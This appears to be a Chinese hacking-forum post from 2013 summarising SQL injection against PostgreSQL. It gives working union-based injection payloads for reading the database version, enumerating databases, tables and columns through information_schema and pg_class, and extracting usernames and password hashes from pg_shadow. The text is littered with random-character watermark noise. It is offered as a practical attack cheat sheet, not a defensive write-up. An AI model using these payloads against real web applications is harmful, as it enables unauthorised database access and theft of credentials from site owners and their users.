找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2254|回复: 0
打印 上一主题 下一主题

postgreSQL注入总结

[复制链接]
抢楼 抢楼 本帖为抢楼帖,欢迎抢楼! 
跳转到指定楼层
楼主
发表于 2013-10-13 12:57:16 | 只看该作者 回帖奖励 |阅读模式
结合了MSSQL MySQL Oracle的一些特点5 `: s( k2 N4 c* B

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/$ _2 _9 X5 w. J5 P# x
连接符: %20 , + , /**/

内置函数:2 B4 c5 K+ `* \
current_database() //当前数据库名
0 R) X0 H0 m! N1 @3 V( jsession_user //会话用户1 q' l0 o7 p1 K, J. ?- M% R( @
current_user //当前数据库用户# i& Q7 }& f& I) C+ U
user //当前用户
3 n9 `  \+ b% a& y% _% yversion() //数据库版本

Union注射:
. t# r3 v& @/ ^5 f$ rorder by n–
$ [- \' H8 E8 h( h2 ~and 1=2 union select null,null,null–$ i: g5 Z) ?' e  `) A
and 1=2 union select ‘beach’,null,null–
% |/ |8 h0 }3 Q/ i" Z! Pand 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):: D8 P2 l+ {* h! V7 j6 \) E' i" r
group_concat(table_name)
( C3 w2 _$ t% W( dand 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–7 E1 N, s: J7 l) E( i
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–% _( T. _7 ?. T; F' ^
(老版本)
- @$ H" [2 x1 ]; Npg_class.oid对应pg_attribute.attrelid8 G" F9 @* J( _2 X
pg_class.relname表名! b6 H8 |+ G9 v. _2 p/ Z' b. v, T8 w% j
pg_attribute.attname字段名

select relname from pg_class获取表名
/ F/ d% _  T6 `select oid from pg_class where 条件 获取参数
% F- F2 X0 e- {" L+ ~( F  Q) rselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:7 [' A: W! G4 p" ?4 ]+ I
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表" e+ W0 i- L6 V/ n: K; o3 b
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
% t. n; F5 c+ z: E由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
# S0 q  l0 ]9 u7 v( H9 I- A======================================================================4 l/ h- l( p7 `; \4 ?" d3 p
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
, ]4 R' d& H. }# `$ Dand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表